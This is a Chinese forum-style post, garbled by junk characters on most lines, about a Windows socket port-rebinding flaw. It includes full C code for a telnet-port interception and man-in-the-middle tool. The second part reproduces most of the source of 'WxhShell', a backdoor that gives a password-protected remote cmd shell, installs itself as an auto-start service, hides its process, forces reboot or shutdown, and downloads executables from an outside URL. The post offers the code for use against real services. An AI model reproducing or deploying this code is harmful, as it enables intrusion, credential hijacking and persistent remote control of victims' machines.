在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Zz!XH8sH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
l<ag\ d ]e$mTRi* saddr.sin_family = AF_INET;
M/EEoK^K@ )iNMjg saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9s>q4_D WldlN?[j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}rj.N98 B:\\aOEj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lG I1LUo Aq yR+ 这意味着什么?意味着可以进行如下的攻击:
Ynl^Z !TA6- ]1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(+`pEDD{X 64%P}On 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
aHNR0L3$}{ ]>tYU 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0M7Or)qN (#k>cA(} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)e d5~ok 4/;hA
z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
jVC`38| 5=WzKM 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wN>k&J P"Lk(gY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
EiQX*v B7zyMh #include
4nK\gXz19 #include
t~H'Ugv^ #include
j]U sb_7 #include
[fx1H~T< DWORD WINAPI ClientThread(LPVOID lpParam);
}TY}sr
int main()
,pM~Phmp {
J -tOO WORD wVersionRequested;
HY0q!.qog DWORD ret;
hiq7e*Nsb WSADATA wsaData;
>Akrbmh5 BOOL val;
9>yLSM,!rS SOCKADDR_IN saddr;
'3TwrY?- SOCKADDR_IN scaddr;
H.*:+ int err;
6i|5`ZO SOCKET s;
x)N$.7'9OJ SOCKET sc;
7|% |w int caddsize;
)hs"P%Zg HANDLE mt;
;\ ^'}S|3Z DWORD tid;
Dk8
O*B wVersionRequested = MAKEWORD( 2, 2 );
eG&\b-% err = WSAStartup( wVersionRequested, &wsaData );
d3-F?i
5d if ( err != 0 ) {
*`2.WF@E) printf("error!WSAStartup failed!\n");
t5t,(^ ;f return -1;
I,TJV)B }
w^OV;gp saddr.sin_family = AF_INET;
Y )#x(s?t zmH8^:-x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?QxI2J QZ?# ixvJ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;wo saddr.sin_port = htons(23);
> %h7)}U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
% `Q[?(z {
}<R,)ZV^G printf("error!socket failed!\n");
iO1ir+B\ return -1;
Z6s-n$dSm }
w0qrh\3du val = TRUE;
KZy2c6XO; //SO_REUSEADDR选项就是可以实现端口重绑定的
~puXZCatN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
jz,Mm,Gi {
7k,pUC-w7c printf("error!setsockopt failed!\n");
wpgO09 return -1;
1(%9)).K }
8Na.H::cZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
<;Q1u,Mc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@Wgd(Ezd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]Z\Z_t f@S n1c,Mk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
wcr3ugvT {
s%M# ret=GetLastError();
eS#kDa/ % printf("error!bind failed!\n");
5Ku=Xzvq return -1;
x}\x3U }
O[}{$NXw listen(s,2);
zs/4tNXw while(1)
U*sjv6*T {
w`BY>Xft0 caddsize = sizeof(scaddr);
)/HbmtX qI //接受连接请求
KLb"_1z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[|iWLPO1&k if(sc!=INVALID_SOCKET)
+85#`{ D {
y7CC5S?
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
g)?Ol if(mt==NULL)
D5Zgi! {
o\/&05rp] printf("Thread Creat Failed!\n");
NOY`1i break;
yyPQ^{zD }
"PgVvm#w' }
&10l80vj CloseHandle(mt);
M3XG s|gw }
?^Gi;d5 closesocket(s);
,+w9_Gy2H WSACleanup();
w8=&rzr8 return 0;
Vn&{yCm3 }
r]q;>\T' DWORD WINAPI ClientThread(LPVOID lpParam)
f^JiaU4 [ {
5(wmy-x\ SOCKET ss = (SOCKET)lpParam;
r ^=rs!f@ SOCKET sc;
EPEWyGw unsigned char buf[4096];
@jL](Mq|] SOCKADDR_IN saddr;
CdBpz/ long num;
bG0
|+k3O DWORD val;
87!D@Xn DWORD ret;
Eep~3U //如果是隐藏端口应用的话,可以在此处加一些判断
yq H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m:}PVJ-" saddr.sin_family = AF_INET;
LTZ8Eu saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\;XDPC j saddr.sin_port = htons(23);
9sP;s^#t7U if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[T
|P|\M {
N5PW] printf("error!socket failed!\n");
-L-#-dK' return -1;
Ky0}phGRu }
2xLEB& val = 100;
^VC/tJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
# &,W x {
1NAGGr00 ret = GetLastError();
7xF)\um return -1;
18^#:=Z }
U
g: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?F6L, {
awXK9}. ret = GetLastError();
+3yG8 return -1;
HNJR&U t }
gmUXh;aHc if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
/^]/ iTg {
Ux,?\Vd printf("error!socket connect failed!\n");
sYEh>%mo^C closesocket(sc);
/0Jf/-}ovn closesocket(ss);
eA{nwtN return -1;
^4b;rLfk@ }
-9]
ucmN while(1)
ZUyS+60 {
d*YVk{s7V //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{+~ JTrp //如果是嗅探内容的话,可以再此处进行内容分析和记录
-uKTEG[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Ypx5:gm|J num = recv(ss,buf,4096,0);
Ucx"\/" if(num>0)
z!M # send(sc,buf,num,0);
I4|LD/b else if(num==0)
["O_Phb| break;
ZveNe~D7C num = recv(sc,buf,4096,0);
oE.Ckz~*d if(num>0)
eMV{rFmT send(ss,buf,num,0);
|oWl9j]Z else if(num==0)
e#U@n
j6 break;
xfF;u9$; }
tj ?%{L closesocket(ss);
pCf9"LLer closesocket(sc);
"ejsz&n return 0 ;
m#$$xG }
?8w5tfN6t $>8O2p7W >\!G43Q= ==========================================================
Z2U6<4?1% upLjkQ)_ 下边附上一个代码,,WXhSHELL
"{S6iH)]8 \#h{bnx ==========================================================
1{ H=The b'ZzDYN #include "stdafx.h"
s{Og3qUy /F$E)qN7n #include <stdio.h>
P BVF'~f@j #include <string.h>
vM@8&,; #include <windows.h>
pO/vD~C> #include <winsock2.h>
fN1b+d~*6 #include <winsvc.h>
/-knqv #include <urlmon.h>
6HguZ_jC ih|;H:"^ #pragma comment (lib, "Ws2_32.lib")
DfU]+;AE #pragma comment (lib, "urlmon.lib")
P L7(0b% QuP)j1"X #define MAX_USER 100 // 最大客户端连接数
q@G}Hjn #define BUF_SOCK 200 // sock buffer
bv;.6C(T< #define KEY_BUFF 255 // 输入 buffer
v.-r %j{I d8uDSy #define REBOOT 0 // 重启
]K3bDU~ #define SHUTDOWN 1 // 关机
qSDn 0^y V'tqsKQ! #define DEF_PORT 5000 // 监听端口
N%,zME EKD#s,(V*X #define REG_LEN 16 // 注册表键长度
!F:mDZeY #define SVC_LEN 80 // NT服务名长度
A^E 6)A= 3RX9LJGX // 从dll定义API
0h~{K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(q0vql typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\11+~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
M&jlUr&l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{!j)j6(NY L PS,\+ // wxhshell配置信息
&1f3e struct WSCFG {
v}J0j int ws_port; // 监听端口
it-]-=mqb char ws_passstr[REG_LEN]; // 口令
F [Lg,} int ws_autoins; // 安装标记, 1=yes 0=no
!>"fDz<w` char ws_regname[REG_LEN]; // 注册表键名
C;5`G
*e char ws_svcname[REG_LEN]; // 服务名
YV _ 7 .+A char ws_svcdisp[SVC_LEN]; // 服务显示名
&"?99E> char ws_svcdesc[SVC_LEN]; // 服务描述信息
l1#.rg char ws_passmsg[SVC_LEN]; // 密码输入提示信息
qqJghV$Oj int ws_downexe; // 下载执行标记, 1=yes 0=no
q9H\ $ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
`rXb:P7m{j char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1 +s;a]-C !MrQ-B ( };
:.tL~%
q ie11syhV" // default Wxhshell configuration
Y]_$+Si:NK struct WSCFG wscfg={DEF_PORT,
|g>Q3E "xuhuanlingzhe",
)+"5($~ 1,
n=PfV3B "Wxhshell",
u(fZ^ "Wxhshell",
lu6iU "WxhShell Service",
C(9"59>{]y "Wrsky Windows CmdShell Service",
P^# 4m "Please Input Your Password: ",
qcouZO 1,
%Oo
f/q "
http://www.wrsky.com/wxhshell.exe",
\4LTViY] "Wxhshell.exe"
xFekSH7[F };
(c&%1bJ IBvn
q8\ // 消息定义模块
S8B?uU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
SuB8mPn char *msg_ws_prompt="\n\r? for help\n\r#>";
gTgoS:M"_O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,2rfN"o char *msg_ws_ext="\n\rExit.";
h1"|$ char *msg_ws_end="\n\rQuit.";
C=|8C70[%N char *msg_ws_boot="\n\rReboot...";
{ =\Fc`74 char *msg_ws_poff="\n\rShutdown...";
yf;TIh%)= char *msg_ws_down="\n\rSave to ";
yoJ.[M4q .heU
Ir, char *msg_ws_err="\n\rErr!";
REgM char *msg_ws_ok="\n\rOK!";
j>e RV ol kMK0|+ char ExeFile[MAX_PATH];
NjT*5 . int nUser = 0;
o<iU;15 HANDLE handles[MAX_USER];
1<fW .Q) int OsIsNt;
O) TS$ _si 5z SERVICE_STATUS serviceStatus;
@tPr\F SERVICE_STATUS_HANDLE hServiceStatusHandle;
c{dabzLy _;U%`/T b // 函数声明
=-_hq'il int Install(void);
UX[s5# int Uninstall(void);
_G-y{D_S& int DownloadFile(char *sURL, SOCKET wsh);
^<qi&* int Boot(int flag);
t1 U+7nM void HideProc(void);
K9.Gjw int GetOsVer(void);
'.;{"G.@' int Wxhshell(SOCKET wsl);
_~MX~M3MB void TalkWithClient(void *cs);
wPm int CmdShell(SOCKET sock);
|`Noj+T47I int StartFromService(void);
(hdu+^Qj= int StartWxhshell(LPSTR lpCmdLine);
t$~'$kM)< /:Gy . VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'e' p`* VOID WINAPI NTServiceHandler( DWORD fdwControl );
7i{(,: 8!cHRtqK // 数据结构和表定义
'<YBoU{e* SERVICE_TABLE_ENTRY DispatchTable[] =
79cM_O {
Ncsh{. {wscfg.ws_svcname, NTServiceMain},
{l5fKVb\C {NULL, NULL}
<xF]ca };
},#7 p}h.2)PO // 自我安装
:\qapFV int Install(void)
+&S6se4 {
x~R,rb
char svExeFile[MAX_PATH];
I#M>b:"te HKEY key;
Dw7Xy}I/ strcpy(svExeFile,ExeFile);
\>pm (gF QK#wsw // 如果是win9x系统,修改注册表设为自启动
^9Cu?!xu0 if(!OsIsNt) {
A7%/sMv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'Etq;^H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(xN1?qXB. RegCloseKey(key);
2_)UHTwsK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*Cf!p\7! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
T@i*
F M RegCloseKey(key);
d23=WNn return 0;
z'$1$~I }
rD4umWi }
K)wWqC. }
TEY~E*=}$ else {
hmd3W`8D J{prI;]K // 如果是NT以上系统,安装为系统服务
(YYg-@IO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
GVJ||0D if (schSCManager!=0)
OR!W3
@ {
Fz,jnV9=j SC_HANDLE schService = CreateService
+)WU:aKI (
>(ip-R schSCManager,
^d{5GK' wscfg.ws_svcname,
Q8AAu&te7 wscfg.ws_svcdisp,
+x}9a~QG# SERVICE_ALL_ACCESS,
~=iH*AQR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
K)mQcB-"? SERVICE_AUTO_START,
<{bxOr+ SERVICE_ERROR_NORMAL,
Q2- lHn^L: svExeFile,
D?"P\b[/ NULL,
=t)qy5 NULL,
eh<mJL%T NULL,
z8awND NULL,
<\ <o#Vq NULL
C$PS@4'U );
p> >H$t if (schService!=0)
@-Ql6k {
-qDqJ62mC CloseServiceHandle(schService);
Jj+Q2D: CloseServiceHandle(schSCManager);
-u'"l(n)~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
T9w=k) strcat(svExeFile,wscfg.ws_svcname);
rG6G~|mS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K&`1{, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l#1#3F RegCloseKey(key);
IF0!@f return 0;
bI|G
% }
uf#h~;B }
)]FXUz|; CloseServiceHandle(schSCManager);
&`v?oN9$ }
?@,EGY< }
Fc5t,P *0^~@U return 1;
N;'c4=M~( }
jK]1X8 [UI>SN // 自我卸载
<6Gs0\JB int Uninstall(void)
>h;]rMD!| {
r4X}U|s!0 HKEY key;
4k@n5JNa > B@ c74 if(!OsIsNt) {
>bze0`}Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
s.
A}ydtt RegDeleteValue(key,wscfg.ws_regname);
EUuSN| a RegCloseKey(key);
%eg +. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IJGw<cB]+ RegDeleteValue(key,wscfg.ws_regname);
FUI*nkZY RegCloseKey(key);
b;UDgq8v return 0;
Oa~ThbX7 }
2.niB> }
[QgP6f]= }
}#H,oy;Dz else {
!Z:XSF[T ^wd@mWxx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Lo!hyQ) if (schSCManager!=0)
.6C/,rQ?c {
3;BIwb_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
KoNu{TJ if (schService!=0)
N~8H\ {
,.QJS6Yv if(DeleteService(schService)!=0) {
8.B'O>\T CloseServiceHandle(schService);
G5/A{1sz& CloseServiceHandle(schSCManager);
2@6@|jRG return 0;
<z,)4z++ }
==m[t-
9x CloseServiceHandle(schService);
F/5G~17 }
Mg`!tFe3 CloseServiceHandle(schSCManager);
vnvpb!
@Q }
z eT`kZ }
.A<Hk1(-) t!qLgJ5%y return 1;
%o%V4K* }
T{C;bf:Q 3 Vc}Q'&Y // 从指定url下载文件
/_qq(,3 int DownloadFile(char *sURL, SOCKET wsh)
r3g^0|) {
Ia#!T"]@W6 HRESULT hr;
FHr)xqo=~ char seps[]= "/";
y ;[~(Yg[ char *token;
js81@WX!c char *file;
H
u;"TG char myURL[MAX_PATH];
3tTOs char myFILE[MAX_PATH];
z:#]P0 CLaQE{ strcpy(myURL,sURL);
.u&xo{$'dS token=strtok(myURL,seps);
S"h;u=5it while(token!=NULL)
Bgm8IK)6 {
~TRC-H file=token;
QLO;D)fC token=strtok(NULL,seps);
NLMvi!5w, }
,w#lUgp Z2$_9. GetCurrentDirectory(MAX_PATH,myFILE);
`;6M|5G strcat(myFILE, "\\");
?CQE6ch strcat(myFILE, file);
_f%s] send(wsh,myFILE,strlen(myFILE),0);
3s!6rT_=)d send(wsh,"...",3,0);
^~[7])}g6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
v zg^tJ if(hr==S_OK)
Hloe7+5UD return 0;
s0?'mC+p else
Qt+D ,X return 1;
larv6ncV Dz~0( }
-pYmM d, t`K9K"|k // 系统电源模块
f1_; da int Boot(int flag)
pRobx {
L K#A HANDLE hToken;
o7!A(Eu TOKEN_PRIVILEGES tkp;
_k2R^/9Ct% QAV6{QShj if(OsIsNt) {
2O=$[b3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
kT@ITA22 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
dA hcA. tkp.PrivilegeCount = 1;
$k\bP9
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
lz0-5z+\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
, lR(5ZI if(flag==REBOOT) {
]jhi"BM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
I3nE]OcW@ return 0;
iP(MDVg }
gFTU9k< else {
lKejWT`; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
JI!1
.]& return 0;
vMp=\U-~^ }
&gXL{cK'% }
%1A8m-u]M else {
89&9VX^A if(flag==REBOOT) {
C|&tdh :g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#,#_" return 0;
;O hQBAC }
8?nn4]P else {
]20:8l' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
M
+OVqTsFU return 0;
uQ W)pD{_ }
7He"IJ }
FAnz0p+t Bo"9;F return 1;
5<(*
+mP` }
w PR Ns9^ LLTr+@lj // win9x进程隐藏模块
QPf\lN/$4d void HideProc(void)
B9"o Ru^} {
HKJCiQ|k ;I*t5{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
kc2B_+Y1 if ( hKernel != NULL )
0cHcBxdF {
Eg`~mE+a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
M$EF 8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
UmVn: a FreeLibrary(hKernel);
<9pI~\@w }
"QOQ g4WmUV#wp return;
D=a*Xu2zq }
;&j'`tP )W\)kDh! // 获取操作系统版本
SdlO]y9E int GetOsVer(void)
O<s7VHj {
.\a+m OSVERSIONINFO winfo;
]x
metv|7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ms6;iW9 GetVersionEx(&winfo);
VjWJx^ZL# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i<Ms2^ return 1;
!hQ-i3?qm else
GhfhR^P return 0;
e W8cI)wU }
!b`fykC ^ZsIQ4 @` // 客户端句柄模块
\5}PF+)| int Wxhshell(SOCKET wsl)
'QE8 {
X]}ai5 SOCKET wsh;
I '0[ struct sockaddr_in client;
w]MI3_|'r( DWORD myID;
_(f@b1O~ c(hC'Cp while(nUser<MAX_USER)
7{U[cG+a# {
4}N+o+ int nSize=sizeof(client);
15 {^waR6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9mvy+XD if(wsh==INVALID_SOCKET) return 1;
jW#dUKS( i%133in handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
L?u{v X if(handles[nUser]==0)
"-S!^h/v closesocket(wsh);
h:Gs9]Lvtv else
=&pR=vl nUser++;
x}a?B }
GThGV" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,zZH>P waC i9 return 0;
%.
((4 6) }
;,U@zB;\%( ]Qe~|9I // 关闭 socket
,'c%S|]U7 void CloseIt(SOCKET wsh)
T+XcEI6w {
?T73BL= closesocket(wsh);
>
U3>I^Y nUser--;
z&!o1uq ExitThread(0);
JL_(%._J }
`GqF/?i XzV>q~I3|E // 客户端请求句柄
MkVv5C void TalkWithClient(void *cs)
4Ty?>'*| {
xy>$^/[$ /w dvm4 SOCKET wsh=(SOCKET)cs;
\|X
1 char pwd[SVC_LEN];
[x>Pf1 char cmd[KEY_BUFF];
9hK8dJw char chr[1];
Qq{tX int i,j;
wa[J\lW j\KOKvY) while (nUser < MAX_USER) {
iU.` TqR7 EM<W+YU if(wscfg.ws_passstr) {
u^C\aujg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K'8o'S_bF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<EyJ $$ //ZeroMemory(pwd,KEY_BUFF);
d.ywH; i=0;
@ ~{TL while(i<SVC_LEN) {
f4<~_ZGr ZD50-w; // 设置超时
ST#)Fl fd_set FdRead;
,^4"e
( struct timeval TimeOut;
5D3&E_S FD_ZERO(&FdRead);
:fX61S6) FD_SET(wsh,&FdRead);
d<?Zaehe\ TimeOut.tv_sec=8;
:OU(fz] TimeOut.tv_usec=0;
T:Q+ Z }v+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
U'b}%[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\zVp8MMf eiOAbO#U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
z1RHdu0;z pwd
=chr[0]; )e[q%%ks
if(chr[0]==0xd || chr[0]==0xa) { _j$V[=kdM/
pwd=0; X%!?\3S
break; sk5=$My
} OvdBUcp[
i++; 3mE8tTA$R
} 8fvKVS
2hntQ1[
// 如果是非法用户,关闭 socket :n<l0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~>]Ie~E: (
} ;mV>k_AG
Lo'GfHE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~&0lWa
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S%
ptG$Z
Y,n8co^
while(1) { B$=1@
ZWFOC,)b
ZeroMemory(cmd,KEY_BUFF); lh0G/8+C
t(,2x%{
// 自动支持客户端 telnet标准 brE%/%!e
j=0; !`U #Pjp.
while(j<KEY_BUFF) { KPK`C0mg@k
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,iiI5FR
cmd[j]=chr[0]; %RIu'JXi
if(chr[0]==0xa || chr[0]==0xd) { ctb
, w
cmd[j]=0; 4`CO>Q
break; UQ e1rf
} GYT0zMMf
j++; y#ON=8l
} _n*gj-
i+-=I+L3
// 下载文件 qk&BCkPT
if(strstr(cmd,"http://")) { 6jal5<H
send(wsh,msg_ws_down,strlen(msg_ws_down),0); BH^cR<<j
if(DownloadFile(cmd,wsh)) y(Pv1=e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1{xkAy0
else odeO(zuU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~8Ef`zL
} @$ )C pg
else { i[U=-4 J
w@N)Pu
switch(cmd[0]) { F0'o!A#|(
sGMnm
// 帮助 gcM(K.n
case '?': { ]w8h#p
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S@L%X<Vm
break; 7z&^i-l.
} \Zk<|T61$
// 安装 ^^Q>AfTR.
case 'i': { ||Wg'$3
if(Install()) ,(yaWd6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]G~u8HPH!m
else j1@PfKh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {>&M:_`k
break; T6,6lll
} v@!r$jZ
// 卸载 61K:SXj
case 'r': { zt
)WX9
if(Uninstall()) vnsMh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4,6?sTuX
else xO
1uHaL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ac,bf 8C
break; $)O\i^T
} XOY\NMo
// 显示 wxhshell 所在路径 m`3gNox
case 'p': { b@1";+(27
char svExeFile[MAX_PATH]; H:
;S1D
strcpy(svExeFile,"\n\r"); SQ`ec95',
strcat(svExeFile,ExeFile); fVBu?<=d
send(wsh,svExeFile,strlen(svExeFile),0); #fe zUU
break; 52Q~` t7F
} QTI^?@+N>
// 重启 Z5>}
case 'b': { w>#.id[k
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zU>bT20x/
if(Boot(REBOOT)) 8x6{[Tx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@>WUw@F
else { =$%_asQJ
closesocket(wsh); \o!B:Vb<
ExitThread(0); cp 7;~i3
} /%)x!dmy
break; v.]W{~PI2V
} E'_$?wWn5
// 关机 .`N&,&H
case 'd': { I*
JSb9r
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yi1V \8DC
if(Boot(SHUTDOWN)) fL R.2vJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U[l{cRT
else { 7vsXfIP+
closesocket(wsh); {cYbM[}U"
ExitThread(0); v%2Jm!i+
} o7 X5{
break; u!VY6y7p
} ;hU~nj+{
// 获取shell fxX4 !r
case 's': { kv/mqKVr
CmdShell(wsh); A
v%'#1w<"
closesocket(wsh); h|&qWv
ExitThread(0); u*H
V
break; c"@,|wCUi
} N%+ C5e<
// 退出 [kg*BaG:
case 'x': { QW"BGg~6c
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0\^K\J,.
CloseIt(wsh); ?9AtFT
break; ig,v6lqhM
} ?t];GNU`l
// 离开 xYWg1e$k
case 'q': { E./Gt.Na
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )SFyQ
closesocket(wsh); \rf2Os
WSACleanup(); <q#/z&F!
exit(1); ?f[U8S}
break; nHi6$}
I
} Ej64^*
} FiJU
*
} })@LvYK
t12 xPtN1
// 提示信息 Gj([S17\0:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CpF&Vy K
} S~LTLv:>
} |G]M"3^
s;-%Dfn
return; \?.Tq24
} /WKp\r(Hp
~,.}@XlgT.
// shell模块句柄 VN9C@ ;'$
int CmdShell(SOCKET sock) v5o@ls
{ 86\B|!
STARTUPINFO si; Arb-,[kwN
ZeroMemory(&si,sizeof(si)); KFMEY\ 6\h
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X>y6-%@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b}#ay2AR
PROCESS_INFORMATION ProcessInfo; u0& dDZ
char cmdline[]="cmd"; m2$Qp{C6H
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WH^rM`9
return 0; R+O[,UM^I~
} GiN\@F!
FsYsQ_,R3
// 自身启动模式 u?n{r
int StartFromService(void) [3QKBV1\
{ w_!]_6%{b
typedef struct j;']L}R
{ oUwu:&<Orm
DWORD ExitStatus; 0Bpix|mq
DWORD PebBaseAddress; 6+[7UH~pm^
DWORD AffinityMask; e7.!=R{6
DWORD BasePriority; ;MR(Eaep
